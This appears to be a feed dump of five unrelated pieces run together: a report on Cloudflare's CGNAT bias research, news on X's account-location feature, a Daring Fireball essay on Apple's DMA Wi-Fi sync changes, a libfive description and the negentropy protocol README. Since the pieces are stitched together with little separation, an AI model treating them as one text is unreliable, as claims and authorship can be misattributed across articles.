that recalls how once the world started to run out of IPv4 addresses, engineers devised network address translation (NAT) so that multiple devices can share a single IPv4 address. NAT can handle tens of thousands of devices, but carriers typically operate many more. Internetworking wonks therefore developed Carrier-Grade NAT (CGNAT), which can handle over 100 devices per IPv4 address and scale to serve millions of users.
That’s useful for carriers everywhere, but especially valuable for carriers in those countries that missed out on big allocations of IPv4 because their small pool of available number resources means they must employ CGNAT to handle more users and devices. Cloudflare's research suggests carriers in Africa and Asia use CGNAT more than those on other continents.
Cloudflare worried that could be bad for individual netizens.
“CGNATs also create significant operational fallout stemming from the fact that hundreds or even thousands of clients can appear to originate from a single IP address,” wrote Cloudflare researchers Vasilis Giotsas and Marwan Fayed. “This means an IP-based security system may inadvertently block or throttle large groups of users as a result of a single user behind the CGNAT engaging in malicious activity.”
“Blocking the shared IP therefore penalizes many innocent users along with the abuser.”
The researchers also noted “traditional abuse-mitigation techniques, such as blocklisting or rate-limiting, assume a one-to-one relationship between IP addresses and users: when malicious activity is detected, the offending IP address can be blocked to prevent further abuse.”
Because CGNAT is more prominent, and more heavily used, in Africa and Asia, they suggested “CGNAT is a likely unseen source of bias on the Internet.”
“Those biases would be more pronounced wherever there are more users and few addresses, such as in developing regions. And these biases can have profound implications for user experience, network operations, and digital equity,” the researchers wrote.
To test that hypothesis, the pair went looking for CGNAT implementations using traceroute, WHOIS and reverse DNS pointer (PTR) records, and existing lists of VPN and proxy IP addresses. That effort yielded a dataset of labeled IPs for more than 200K CGNAT IPs, 180K VPNs and proxies and close to 900K other IPs relevant to the study of CGNAT. They used that dataset, and Cloudflare’s analysis of bot activity, to analyze whether CGNAT traffic is rate-limited with the same frequency as traffic from un-abstracted IP addresses.
That effort found indicators of bias, because non-CGNAT IPs are more likely to be bots than CGNAT IPs, but ISPs are more likely to throttle traffic from the latter.
“Despite bot scores that indicate traffic is more likely to be from human users, CGNAT IPs are subject to rate limiting three times more often than non-CGNAT IPs,” the pair wrote. “This is likely because multiple users share the same public IP, increasing the chances that legitimate traffic gets caught by customers’ bot mitigation and firewall rules.”
The authors therefore conclude: “Accurate detection of CGNAT IPs is crucial for minimizing collateral effects in network operations and for ensuring fair and effective application of security measures.”
They suggest ISPs that run CGNAT get in touch to help the community better understand the challenges of using the tech without introducing bias.
The authors also acknowledge that all these problems would go away if the world just moved to IPv6, and that CGNAT was supposed to tide network operators over until that happened. They also note the old proverb – “Nothing is more permanent than a temporary solution” – as the likely reason CGNAT remains relevant today. ®
X's new country-of-origin feature reveals many 'US' accounts to be foreign-run
Elon Musk's X, formerly Twitter, has rolled out a feature where going to the ‘Joined’ tab on one's profile, displays the country of origin for that account.
Elon Musk's X, formerly Twitter, has introduced the country of origin feature that seems to have thrown both the
MAGA
and Democrats' worlds online into chaos. Several profiles online, that had pushed certain narratives are now being found to have been operating from outside the US.
X has introduced a feature that lets people see where an account is based out of. (REUTERS)
The social media platform introduced a feature where one can see the country the account is based in. One has to head to an account and click on the date joined tab, which opens up onto a new page. This shows the country where that particular account is being operated from. While the feature was briefly removed after its introduction, it has now been added again, and both sides of the political spectrum are having a field day, calling out each other online.
What to know about ‘American’ accounts based out of US
The accounts being discussed here have pushed agendas within the US, and commented on US politics regularly. Many are also named to echo political movements, like some MAGA accounts.
However, these ‘political influencers’ have been found to be based outside the US, raising questions about the motives.
One profile going by 'MAGA NATION' with a follower count of over 392,000, is based out of eastern Europe. Similarly, ‘Dark Maga’ a page with over 15,000 followers is based out of Thailand. ‘MAGA Scope’ which boasts over 51,000 followers is actually operated out of Nigeria, and ‘America First’, an account with over 67,000 followers is based out of Bangladesh.
“At this time thousands of MAGA-aligned influencer accounts and large political pages that claim to be based in the U.S. are now being investigated and exposed with many of them traced to India, Nigeria, and other countries,” a news aggregator page on X noted.
It wasn't just on the MAGA side. An account going by ‘Ron Smith’ whose bio claims he's a ‘Proud Democrat’ and ‘Professional MAGA hunter’ is operated out of
Kenya
. The account has over 52,000 followers.
‘Republicans against Trump’ an anti-
Donald Trump
page on X, which tries to push politics against MAGA, was reportedly operating out of Austria. While the location now shows US, X notes that the account location might not be accurate due to use of VPN. “The Anti-Trump account “Republicans Against Trump” which 1M followed has been identified as a non-American from Austria and is currently using a VPN to hide their location,” a page said, making note of this.
‘Republicans against Trump’ has over 978,000 followers.
On a side note, an account going by ‘Mariana Times’, with over 78,000 followers, which posts pro-Israel content has been found to be based out of India.
People within the MAGA orbit have also reacted to this new feature. Congresswoman Anna Paulina Luna wrote on X from her personal account, “All of these pretend “pro-America” accounts that were pushing infighting within Maga are literally foreign grifters. I’m telling you, the foreign opp is real and so are the bot accounts.”
Alexis Wilkins, FBI director Kash Patel's girlfriend, also added, “I hope that everyone sees, regardless of their specific reason, that the enemy is outside of the house. The people posing as Americans with big American opinions but are actually operating from a basement across the world have one common goal - to destroy the United States. We have our issues, but we really can’t allow them to succeed.”
Stay updated with
US News
covering politics, crime, weather, local events, and sports highlights. Get the latest on
Donald Trump
and American politics also realtime updates on
Indonesia ferry fire
.
Stay updated with
US News
covering politics, crime, weather, local events, and sports highlights. Get the latest on
Donald Trump
and American politics also realtime updates on
Indonesia ferry fire
.
★ Exploring, in Detail, Apple’s Compliance With the EU’s DMA Mandate Regarding Apple Watch, Third-Party Accessories, and the Syncing of Saved Wi-Fi Networks From iPhones to Which They’re Paired
Daring Fireball
daringfireball.net
2025-11-23 23:00:00
The bottom line is that users setting up new Apple Watches in the EU will now get a somewhat slightly worse experience in the name of parity with accessories made by third-party companies. It remains to be seen whether users of third-party iPhone accessories and peripherals in the EU will see any be...
But now comes word of the first feature that Apple is limiting or removing in an existing product to comply with the DMA: Wi-Fi network sync between iPhone and Apple Watch, which is poised to change in the EU next month, with the 26.2 releases of iOS and WatchOS. The news was broken by Nicolas Lellouche,
reporting for the French-language site Numerama
. I’m quoting here from Safari’s English translation of his original report:
Apple has been warning for several months that it could one day,
if it deems it necessary, disable functions in the European Union
to “protect its users”. This day could arrive in December, with
the iOS 26.2 update.
On November 4, Apple announced to Numerama that it had made the
decision to disable Wi-Fi synchronization between an iPhone and an
Apple Watch in Europe so as not to have to comply with the
European Commission’s request, which wants to force it by the end
of 2025 to open the iPhone’s Wi-Fi to third-party accessories.
This announcement follows the opening of the AirPods Live
Translation function in Europe, with a new API to allow
competitors to use the microphones and speakers of AirPods and
iPhone simultaneously. [...]
Apple indicates that the European Commission is asking it to
replicate the link between an iPhone and an Apple Watch, but with
third-party products. Apple, after thinking long about how to
implement this function, finally decided to reject the European
request. Since Europe requires that third-party products be
treated like the Apple Watch, then Apple disables the function on
Apple Watch. This allows it to comply with the DMA.
Lellouche’s report at Numerama broke this story (the reports at
MacRumors
and
9to5Mac
are both based on Numerama’s), but the above is not an accurate summary of what Apple is doing with iOS 26.2.
1
Apple
is
complying with the DMA, and they’re
not
disabling Wi-Fi network synchronization between an iPhone and a paired Apple Watch. What Apple is doing, in order to comply with the DMA, is changing how Wi-Fi networks sync with Apple Watch (in the EU), and offering new APIs in the EU for third-party paired devices to put them on equal (or near-equal?) footing with Apple Watch (in the EU).
This change should be relatively limited. Honestly, I don’t think many Apple Watch users in the EU will even notice. But it is at least mildly annoying, and the relatively minor, very specific nature of this particular DMA mandate makes it a telling example of the European Commission’s overreach.
Currently, when you pair a new Apple Watch with an iPhone, iOS transfers to WatchOS the iPhone’s entire list of saved Wi-Fi networks and their passwords — directly, device-to-device. As iOS learns of new networks that the user joins from their iPhone, that information continues to be shared with any Apple Watches paired to that iPhone. The utility of this is that if you’re wearing your Apple Watch, but don’t have your iPhone nearby, your watch will join an available saved Wi-Fi network at your location. Let’s say you go for a run or walk, with only your Apple Watch, and you stop at a cafe for a beverage. If you’ve ever joined the Wi-Fi network at that cafe from your iPhone, your Apple Watch will join that network automatically. It should, and in my personal experience does, just work.
The EU mandate to Apple is
not
that Apple must grant to third-party devices and their iOS companion applications this same functionality as it stands today — that is to say, access to the entire history of the iPhone’s known Wi-Fi networks. The EU mandate is that Apple must grant to third-party devices the same level of access to Wi-Fi network information that Apple Watch has. Apple is complying with this mandate in two ways: (a) by changing how much Wi-Fi network information an Apple Watch gets from the iPhone to which it is paired; and (b) creating a new framework in iOS 26.2 (gated by a new entitlement),
Wi-Fi Infrastructure
, that provides a set of public APIs, available only to apps in the EU, to (per the framework’s description) “share Wi-Fi network credentials securely between devices and connected accessories.”
The change for Apple Watch in the EU is that starting with iOS 26.2, when a new (or reset) Apple Watch is set up, the Apple Watch will no longer have the user’s list of saved Wi-Fi networks automatically synced from their iPhone. Only future networks will be synced — the same level of access that the new Wi-Fi Infrastructure framework is making available to third-party accessories.
Under the new rules for Apple Watch in the EU, an existing (that is to say, already configured) watch that is upgraded to WatchOS 26.2 will still remember all Wi-Fi networks it already knew about. But a new Apple Watch will only be able to automatically connect to Wi-Fi networks that its associated iPhone saves
after
the Apple Watch was set up and paired. So when an EU Apple Watch owner with a new watch visits a known location, and doesn’t have their iPhone with them, the watch won’t be able to join that location’s Wi-Fi automatically, unless the paired iPhone has connected to and saved that network
after
the watch was paired.
With iOS 26.2, the behavior for users outside the EU will remain unchanged from iOS 26.1 and prior — both for Apple Watch and for third-party accessories.
A user’s Wi-Fi history can be used to glean significant information about them. Who they know (other homes’ networks), where they’ve been (medical providers, restaurants, airports), and more. Apple’s new policy for Apple Watch and third-party devices mitigates the sharing of historical networks, but with the sharing of future networks as the associated iPhone joins them, there’s still a risk here of third-party companies doing things with the user’s Wi-Fi network information that the user doesn’t understand, or doesn’t realize they’ve consented to.
One way to look at Apple’s options for complying with this particular DMA mandate is by considering the extremes. On the one extreme, Apple could have just granted third-party peripherals in the EU the exact same access to users’ iPhone Wi-Fi network history that Apple Watch has gotten until now (and will continue to get outside the EU). On the other extreme, Apple could have cut off Wi-Fi network syncing to the Apple Watch altogether, requiring users to connect to each Wi-Fi network manually, using the Watch itself or the Apple Watch app on iPhone. Instead, Apple chose a middle ground — limiting Wi-Fi network history sync to the Apple Watch in the EU in ways that it isn’t limited anywhere else in the world, but granting third-party accessories in the EU access to these new Wi-Fi Infrastructure APIs that aren’t available outside the EU.
Critics might argue that while this middle ground is technically compliant with the DMA, it’s not compliant with the
intention
of the DMA, which would be for the Apple Watch not to lose any functionality in the EU, and for Apple to provide APIs to allow third-party devices all of the Wi-Fi syncing features currently available to Apple Watch. Apple would argue, and I agree, that the European Commission’s intentions are incoherent in this regard. The EC insists that Apple should protect users’ privacy and security, while also insisting that Apple grant access to third-party apps and devices that can potentially compromise users’ privacy and security.
There’s a reason why Apple isn’t offering the new Wi-Fi Infrastructure framework outside the EU, and that’s because they don’t believe it’s a good idea to grant any access at all to your saved Wi-Fi networks to third-party apps and devices. Especially without being able to specify a policy that Wi-Fi network information should be treated the way Apple treats it — remaining exclusively on device.
The skeptical take on Apple’s motivations in this situation is that Apple is spitefully removing functionality from Apple Watch rather than offering new APIs to provide third-party devices with the same that functionality Apple Watch currently has, and that Apple’s intention here is, somehow, primarily about trying to drive anti-DMA sentiment amongst its EU users. This is, in fact, the skeptical take on every single aspect of Apple’s compliance with the DMA: spiteful “malicious compliance” that, somehow, is intended to engender grassroots opposition to the DMA amongst Apple customers in the EU. I don’t think that’s an accurate take overall, but in this particular case with Apple Watch and Wi-Fi network sync, it’s almost silly.
Part of what makes this particular situation clarifying is that it’s so specific. It’s not about allowing third-party devices and their corresponding iOS apps to do
everything
that Apple Watches, and the Apple Watch iOS companion app, can do. It’s very specifically about the sharing of known Wi-Fi networks. (There will, surely, be other such situations to come regarding other features, for other Apple devices.) And as I described above, very few Apple Watch owners in the EU are likely to notice the change. How many Apple Watch users today realize that their watch automatically connects to known Wi-Fi networks when their iPhone is outside Bluetooth range?
If Apple were motivated by spite, and were trying to turn EU Apple Watch owners against the DMA, they’d just remove all Wi-Fi network syncing between the watch and its paired iPhone. Not just the historical list of all networks the iPhone has ever connected to, but the continuous sync of new networks the iPhone joins after the Apple Watch is paired.
That
would be a change Apple Watch users would be more likely to notice. But it’s not what Apple is doing. They’ve engineered an entire framework of public APIs to comply with the EC’s mandate.
But the reporting to date on this situation, starting with Numerama, paints the picture that Apple
is
dropping all Wi-Fi sync between WatchOS and iOS in the EU, and that Apple is refusing to make Wi-Fi network information available to third-party accessories.
Here’s Michael Tsai
, after quoting from Tim Hardwick’s summary at MacRumors of Numerama’s report:
It seems perfectly reasonable that if I have a third-party watch I
should be able to opt into having my phone share Wi-Fi info with
it. You can debate whether mandating this is the proper role of
government, but the status quo is clearly anti-competitive and bad
for the user experience. I’m open to hearing a story where Apple’s
position makes sense, but so far it just seems like FUD to me.
What is the argument, exactly? That Fitbit, which already has its
own GPS, is going to sell your access point–based location
history? That Facebook is going to trick you into granting access
to their app even though they have no corresponding device?
Tsai is making a few wrong assumptions here. First, Apple
is
enabling users (in the EU) to opt into having their iPhone share Wi-Fi information with third-party devices. Second, this mandate is not specific to smartwatches — it applies to any devices that can pair with an iPhone and have corresponding iOS partner apps. So Meta, with their lineup of smartglasses,
does
have corresponding devices. And,
per Apple’s public statements
, it is Meta in particular that has been zealously pursuing interoperability mandates pursuant to the DMA. I think it’s entirely possible that this entire issue regarding Wi-Fi network sharing was prompted by Meta’s interoperability requests to the European Commission.
2
As for the argument regarding why Apple has chosen to comply in this way, what is essential to note is that
none
of this Wi-Fi network information shared between iOS and WatchOS
is ever sent to or seen by Apple
. Apple doesn’t see the network passwords, doesn’t see the names of the networks, and doesn’t even know when a device has joined a new network. All of this is exclusively on-device, and when the information is exchanged between an iPhone and paired Appel Watch, it’s transferred device-to-device. (This is also true when you use Apple’s features to share Wi-Fi passwords with nearby friends. It’s device-to-device and entirely private and secure. Apple doesn’t even know that person A sent a Wi-Fi password to person B, let alone know the name of the network or the password.)
As someone who relies a lot on the Watch (especially now that
WhatsApp works locally on it), I’d say we have officially reached
the point where Apple is on the verge of actively harming their
user experience for no good reason whatsoever. I honestly don’t
know if this is bull-headedness or malicious compliance.
On the other hand, someone at the EU clearly prefers being in the
limelight by regulating against evil US corporations in ways that
affect very small parts of the general population rather than,
say, go after Asian smart TV manufacturers that are present in
millions of homes and resell data on Europeans’ TV viewing habits.
No notes on Carmo’s second point. But regarding the first, his opinion is founded on incorrect assumptions. Apple clearly thinks it’s a bad idea to share any Wi-Fi information at all with third-party devices, but they’ve created an entire new framework for use within the EU to allow it, just so they can continue syncing any Wi-Fi network information at all with Apple Watch. Far from harming the user experience, Apple is bending over backwards to make the Apple Watch experience as good as possible while balancing the privacy and security implications of this DMA mandate. Rather than take away all Wi-Fi network syncing, Apple is leaving most of it in place, and only eliminating (in the EU) the part at the very beginning, where, during the set up process, all of the current networks saved on the iPhone are synced to the Apple Watch.
Given the mandate regarding the DMA, and given the privacy implications of sharing any of this information with third-party developers and peripheral makers, Personally, I think it would have been reasonable for Apple to take the extreme position of simply disallowing Wi-Fi network information syncing to any and all devices, including Apple Watches, in the EU. But Apple isn’t doing that, and they’ve undertaken a significant software engineering effort — just for the EU — to support the path they’ve chosen. Carmo’s critique seems predicated on the assumption that Apple is just cutting off all Wi-Fi network sharing.
Given that Apple’s compliance needs to account for potentially untrustworthy device makers — whether by
intent
, or
incompetence
— not syncing all known networks seems like a reasonable trade-off.
Why simply not ask the user whether or not to share WiFi history
identically whether connecting to an Apple product or a Meta
product?
That is, in fact, what Apple is doing. But the privacy implications for a user are, in fact, different when an iPhone’s saved Wi-Fi networks are shared to, say, a Meta product than to another Apple product. It’s worth emphasizing that the European Commission’s mandate does not permit Apple to require those third-party companies to treat this information with the same privacy protections that Apple does. Apple keeps that information exclusively on-device, but Apple is not permitted to require third-party peripheral makers to do the same.
Consider
the iOS system prompt for App Tracking Transparency
: the user’s two choices are “Ask App Not to Track” and “Allow”. It’s a common and natural question why the first option is “Ask App Not to Track” rather than “Don’t Allow”. It would certainly look better if the options were “Don’t Allow” and “Allow”. But Apple deliberately made the first button “Ask App Not to Track” because ATT is, at least partially, a
policy
, not a complete technical guarantee. If an app prompts for ATT permission and the user chooses “Ask App Not to Track”, that app should definitely
not
go ahead and attempt to track the user’s activity across other apps. But, technically, it could try.
3
I presume, if they do, that Apple will rap the developer’s knuckles in the App Store review process, or even suspend the app’s developer account.
4
Under the EU’s mandate to Apple regarding Wi-Fi network access for third-party devices and their corresponding iOS apps, Apple is not permitted even to set a policy that these apps must pinky swear to keep the information private and on-device. Nor is the EU itself demanding it. If a third-party device-maker wants to send your iPhone’s Wi-Fi network history to their servers and save it, that’s up to them,
not
Apple, per the EC. Apple sees that as a problem.
5
You can argue — and some will, as I think Michael Tsai does in the passage I quote above, and as Tim Sweeney clearly does — that this ought to be up to the user. If a user says they’re fine with their Wi-Fi network information being shared with a third-party accessory they’ve paired with their iPhone, that’s up to them. That is a reasonable take. But I also think Apple’s perspective is reasonable as well — that they should be able to make products where this isn’t possible.
The “it should be up to the user” take benefits informed, technically savvy users. The “it shouldn’t be possible” take benefits uninformed, un-savvy users — users who in many cases have decided that they simply trust Apple. The iPhone brand message — the brand message behind the Apple ecosystem — is that Apple doesn’t allow things that are dangerous to security or privacy. I do not think most iPhone users expect a third-party device they pair to their iPhone to be able to send their entire history of Wi-Fi networks back to the company that made the device. (Most iPhone users also don’t realize how sensitive, privacy-wise, their complete Wi-Fi network history is.)
It’s fair to point out that the “it should be up to the user” take is more beneficial to third-party accessory makers than the “it shouldn’t be possible take”. And that this conflict of interest — where the same limitations that protect iPhone users’ privacy by definition disadvantage third-party devices in ways that Apple’s own devices that connect to iPhones are not — works not just in iPhone users’ favor, privacy-wise, but also in Apple’s favor, financially. Apple can sell more Apple Watches if they work better with iPhones than smartwatches from other companies do. That’s obviously true, but that’s just another way of saying that first-party products have inherent advantages that third-party products don’t, to which I say:
Duh
. Apple’s own peripherals, like Apple Watch, can do things that third-party peripherals can’t because Apple can trust its own devices, and its own software, in ways that it can’t trust devices and companion apps made by other companies.
It’s natural for a company to bootstrap a new product on the back of an existing successful one. Meta’s Threads social network, for example, uses the same usernames and sign-in system as Instagram, which is arguably the most successful social network in the world. Should Meta not have been permitted to do that? Or should they be forced to allow
anyone
to create new competing social networks using Instagram user accounts as the ID system?
It’d be pretty weird if Apple limited itself, when designing and engineering features that integrate experiences across
its own
devices, to what it would allow third-party developers to do. It’d be even weirder if Apple allowed third-party developers to do everything Apple’s own software can do.
6
For at least the last
15 years
, I’ve
repeatedly
emphasized that Apple’s priorities
are in this order
: Apple first, users second, developers third. The DMA attempts to invert that order, privileging developers first (in the ostensible name of fair competition with Apple, a designated “gatekeeper”), ahead of users, and ahead of Apple itself. So of course Apple is going to object to and resist mandates that require it to subordinate its own strategic desires — its own sense of how its products ought to be designed and engineered — especially when the primary beneficiary of the mandates aren’t users, but developers. Many of whom, especially the larger ones, are Apple’s competitors. But I also think it’s clear, with Apple in particular, that users prefer Apple’s priorities. People are happier with Apple putting users’ considerations ahead of developers’ than they are when developers are free to run roughshod over the software platform.
The clearest example of that is the App Store. It’s developers, not users, who object to the App Store model — the exclusivity of distribution, the exclusivity of the vendor’s payment system, the vendor’s payment commissions, the vendor’s functional guidelines and restrictions, all of it. Users don’t have a problem with any of that. That’s why Apple
commissioned and then publicized a study
, just this month, that showed that DMA-driven changes saved developers €20 million in commissions, but that reduction in commissions didn’t lower the prices users pay. Developer-focused observers
see that as a win for the DMA
— that’s €20 million in developers’ pockets that otherwise would have gone into Apple’s already overflowing pockets. But a user-focused observer might see that as clarifying regarding the fact that the DMA wasn’t designed to benefit users, and isn’t benefiting users in practice either. Apple doesn’t care about €20 million. They fart bigger than that. They do care about clarifying who the DMA prioritizes first, and that it’s not users. (And, of course, that it’s not Apple itself.)
Users love the App Store model. With Apple in particular, users, by and large,
like
the idea that the platforms have stringent guardrails. Many buy iPhones
because
Apple exerts such control over the platform, not
despite
it. But that control is exactly why Apple has been so singularly targeted by the European Commission regarding DMA mandates, despite the fact that Samsung by itself — let alone the Android platform as a whole —
sells more phones in Europe
(and
the world
) than Apple does.
The bottom line is that users setting up new Apple Watches in the EU will now get a somewhat slightly worse experience in the name of parity with accessories made by third-party companies. It remains to be seen whether users of third-party iPhone accessories and peripherals in the EU will see any benefit at all (because the companies that make their devices will need to adopt these new EU-exclusive Wi-Fi Infrastructure APIs in their iOS companion apps) — and, if the users of third-party iPhone accessories
do
see the benefit of Wi-Fi network information syncing to their devices, whether their privacy will be respected. But don’t make the mistake of thinking that Apple is complying the least bit spitefully with regard to this mandate.
libfive: a software library and set of tools for solid modeling
libfive
is a software library and set of tools for solid modeling,
especially suited for parametric and procedural design.
It is infrastructure for generative design,
mass customization,
and domain-specific CAD tools.
The geometry kernel is based on functional representations,
which have several benefits over traditional triangle meshes:
Constructive solid geometry is trivial, and scales well to large models
Resolution can be arbitrarily high (down to floating-point accuracy)
Many unusual operations (e.g. blends and warps) are robust and easy to express
The
libfive
stack includes a low-level geometry kernel,
bindings in higher-level languages, a standard library of
shapes and transforms, and a desktop application
for script-based design.
Studio is a great place to start, but it's only one example of an application
that can be built on this framework.
The layers are loosely coupled, so you can build useful tools at various
levels of abstraction.
Building your own CAD software?
Use the
libfive
kernel for solid modeling,
then add domain-specific details with your own GUI and frontend.
Need bindings in a high-level language?
Use the C bindings and your language's FFI
to build tools that integrate with the rest of your system.
How about a design customizer?
Write a headless CAD application with the Scheme bindings
and standard library, then run it as a service
to generate user-customized models.
libfive
is an open-source project licensed under the MPL
(for kernel and core libraries) and GPL (for the Studio GUI).
This means that it's a commercially friendly kernel;
indeed, it's already used in at least one commercial CAD package.
This repo contains the protocol specification, reference implementations, and tests for the negentropy set-reconciliation protocol. See
our article
for a detailed description. For the low-level wire protocol, see the
Negentropy Protocol V1
specification.
Set-reconciliation supports the replication or syncing of data-sets, either because they were created independently, or because they have drifted out of sync due to downtime, network partitions, misconfigurations, etc. In the latter case, detecting and fixing these inconsistencies is sometimes called
anti-entropy repair
.
Suppose two participants on a network each have a set of records that they have collected independently. Set-reconciliation efficiently determines which records one side has that the other side doesn't, and vice versa. After the records that are missing have been determined, this information can be used to transfer the missing data items. The actual transfer is external to the negentropy protocol.
This page is a technical description of the negentropy wire protocol and the various implementations. Read
our article
for a comprehensive introduction to range-based set reconciliation, and the
Negentropy Protocol V1
specification for the low-level wire protocol.
Protocol
Data Requirements
In order to use negentropy, you need to define some mappings from your data records:
record -> ID
Typically a cryptographic hash of the entire record
The ID must be 32 bytes in length
Different records should not have the same ID (satisfied by using a cryptographic hash)
Equivalent records should not have different IDs (records should be canonicalised prior to hashing, if necessary)
record -> timestamp
Although timestamp is the most obvious, any ordering criteria can be used. The protocol will be most efficient if records with similar timestamps are often downloaded/stored/generated together
Units can be anything (seconds, microseconds, etc) as long as they fit in an 64-bit unsigned integer
The largest 64-bit unsigned integer should be reserved as a special "infinity" value
Timestamps do
not
need to be unique (different records can have the same timestamp). If necessary,
0
can be used as the timestamp for every record
Negentropy does not support the concept of updating or changing a record while preserving its ID. This should instead be modelled as deleting the old record and inserting a new one.
Setup
The two parties engaged in the protocol are called the client and the server. The client is sometimes also called the
initiator
, because it creates and sends the first message in the protocol.
Each party should begin by sorting their records in ascending order by timestamp. If the timestamps are equivalent, records should be sorted lexically by their IDs. This sorted array and contiguous slices of it are called
ranges
.
For the purpose of this specification, we will assume that records are always stored in arrays. However, implementations may provide more advanced storage data-structures such as trees.
Bounds
Because each side potentially has a different set of records, ranges cannot be referred to by their indices in one side's sorted array. Instead, they are specified by lower and upper
bounds
. A bound is a timestamp and a variable-length ID prefix. In order to reduce the sizes of reconciliation messages, ID prefixes are as short as possible while still being able to separate records from their predecessors in the sorted array. If two adjacent records have different timestamps, then the prefix for a bound between them is empty.
Lower bounds are
inclusive
and upper bounds are
exclusive
, as is
typical in computer science
. This means that given two adjacent ranges, the upper bound of the first is equal to the lower bound of the second. In order for a range to have full coverage over the universe of possible timestamps/IDs, the lower bound would have a 0 timestamp and all-0s ID, and the upper-bound would be the specially reserved "infinity" timestamp (max u64), and the ID doesn't matter.
Alternating Messages
After both sides have setup their sorted arrays, the client creates an initial message and sends it to the server. The server will then reply with another message, and the two parties continue exchanging messages until the protocol terminates (see below). After the protocol terminates, the
client
will have determined what IDs it has (and the server needs) and which it needs (and the server has). If desired, it can then respectively upload and/or download the missing records.
Each message consists of a protocol version byte followed by an ordered sequence of ranges. Each range contains an upper bound, a mode, and a payload. The range's implied lower bound is the same as the previous range's upper bound (or 0, if it is the first range). The mode indicates what type of processing is needed for this range, and therefore how the payload should be parsed.
The modes supported are:
Skip
: No further processing is needed for this range. Payload is empty.
Fingerprint
: Payload contains a
digest
of all the IDs within this range.
IdList
: Payload contains a complete list of IDs for this range.
If a message does not end in a range with an "infinity" upper bound, an implicit range with upper bound of "infinity" and mode
Skip
is appended. This means that an empty message indicates that all ranges have been processed and the sender believes the protocol can now terminate.
Algorithm
Upon receiving a message, the recipient should loop over the message's ranges in order, while concurrently constructing a new message.
Skip
ranges are answered with
Skip
ranges, and adjacent
Skip
ranges should be coalesced into a single
Skip
range.
IdList
ranges represent a complete list of IDs held by the sender. Because the receiver obviously knows the items it has, this information is enough to fully reconcile the range. Therefore, when the client receives an
IdList
range, it should reply with a
Skip
range. However, since the goal of the protocol is to ensure the
client
has this information, when a server receives an
IdList
range it should reply with its own ranges (typically
IdList
and/or skip ranges).
Fingerprint
ranges contain a digest which can be used to determine whether or not the set of data items within the range are equal on both sides. However, if they differ, determining the actual differences requires further recursive processing.
Since
IdList
or
Skip
messages will always cause the client to terminate processing for the given ranges, these messages are considered
base cases
.
When the fingerprints on each side differ, the reciever should
split
its own range and send the results back in the next message. When splitting, the number of records within each sub-range should be considered. If small, an
IdList
range should be sent. If large, the sub-ranges should themselves be sent as
Fingerprint
s (this is the recursion).
When a range is split, the sub-ranges should completely cover the original range's lower and upper bounds.
Unlike in Meyer's designs, "empty" fingerprints are never used to indicate the absence of items within a range. Instead, an
IdList
of length 0 is sent because it is smaller.
How to split the range is implementation-defined. The simplest way is to divide the records that fall within the range into N equal-sized buckets, and emit a
Fingerprint
sub-range for each of these buckets. However, an implementation could choose different grouping criteria. For example, events with similar timestamps could be grouped into a single bucket. If the implementation believes recent events are less likely to be reconciled, it could make the most recent bucket an
IdList
instead of
Fingerprint
.
Note that if alternate grouping strategies are used, an implementation should never reply to a range with a single
Fingerprint
range, otherwise the protocol may never terminate (if the other side does the same).
The initial message should cover the full universe, and therefore must have at least one range. The last range's upper bound should have the infinity timestamp (and the
id
doesn't matter, so should be empty also). How many ranges used in the initial message depends on the implementation. The most obvious implementation is to use the same logic as described above, either using the base case or splitting, depending on set size. However, an implementation may choose to use fewer or more buckets in its initial message, and/or may use different grouping strategies.
Once the client has looped over all ranges in a server's message and its constructed response message is a full-universe
Skip
range (ie, the empty string
""
), then it needs no more information from the server and therefore it should terminate the protocol.
Fingerprints
Fingerprints are short digests (hashes) of the IDs contained within a range. A cryptographic hash function could simply be applied over the concatenation of all the IDs, however this would mean that generating fingerprints of sub-ranges would require re-hashing a potentially large number of IDs. Furthermore, adding a new record would invalidate a cached fingerprint, and require re-hashing the full list of IDs.
To improve efficiency, negentropy fingerprints are specified as an incremental hash. There are
several considerations
to take into account, but we believe the
algorithm used by negentropy
represents a reasonable compromise between security and efficiency.
Frame Size Limits
If there are too many differences and/or they are too evenly distributed throughout the range, then message sizes may become unmanageably large. This might be undesirable if the network transport has message size limitations, meaning you would have to implement some kind of fragmentation system. Furthermore, large batch sizes inhibit work pipelining, where the synchronised records can be processed in parallel with additional reconciliation.
Because of this, negentropy implementations may support a
frame size limit
parameter. If configured, all messages created by this instance will be of length equal to or smaller than this number of bytes. After processing each message, any discovered differences will be included in the
have
/
need
arrays on the client.
To implement this, instead of sending all the ranges it has found that need syncing, the instance will send a smaller number of them to stay under the size limit. Any following ranges that were sent are replied to with a single coalesced
Fingerprint
range so that they will be processed in subsequent message rounds. Frame size limits can increase the number of messaging round-trips and bandwidth consumed.
In some circumstances, already reconciled ranges can be coalesced into the final
Fingerprint
range. This means that these ranges will get re-processed in subsequent reconciliation rounds. As a result, if either of the two sync parties use frame size limits, then discovered differences may be added to the
have
/
need
multiple times. Applications that cannot handle duplicates should track the reported items to avoid processing items multiple times.
Implementations
This section lists all the currently-known negentropy implementations. If you know of a new one, please let us know by
opening an issue
.
fiatjaf added support to
fq
to inspect and debug negentropy messages (see
example usage
):
Testing
There is a conformance test-suite available in the
testing
directory.
In order to test a new language you should create a "harness", which is a basic stdio line-based adapter for your implementation. See the
test/cpp/harness.cpp
and
test/js/harness.js
files for examples. Next, edit the file
test/Utils.pm
and configure how your harness should be invoked.
Harnesses may require some setup before they are usable. For example, to use the C++ harness you must first run:
git submodule update --init
cd test/cpp/
make
In order to run the test-suite, you'll need the perl module
Session::Token
(
libsession-token-perl
Debian/Ubuntu package).
Once setup, you should be able to run something like
perl test.pl cpp,js
from the
test/
directory. This will perform the following:
For each combination of language run the following fuzz tests:
Client has all records
Server has all records
Both have all records
Client is missing some and server is missing some
The test is repeated using each language as both the client and the server.
Afterwards, a different fuzz test is run for each language in isolation, and the exact protocol output is stored for each language. These are compared to ensure they are byte-wise identical.
Finally, a protocol upgrade test is run for each language to ensure that when run as a server it correctly indicates to the client when it cannot handle a specific protocol version.
For the Rust implementation, check out its repo in the same directory as the
negentropy
repo, build the
harness
commands for both C++ and Rust, and then inside
negentropy/test/
directory running
perl test.pl cpp,rust
For the golang implementation, checkout the repo in the same directory as the
negentropy
repo, then inside
negentropy/test/
directory running
perl test.pl cpp,go
For the kotlin implementation, checkout the repo in the same directory as the
negentropy
repo, then inside
negentropy/test/
directory running
perl test.pl cpp,kotlin
Author
(C) 2023-2024 Doug Hoyte and contributors
Protocol specification, reference implementations, and tests are MIT licensed.
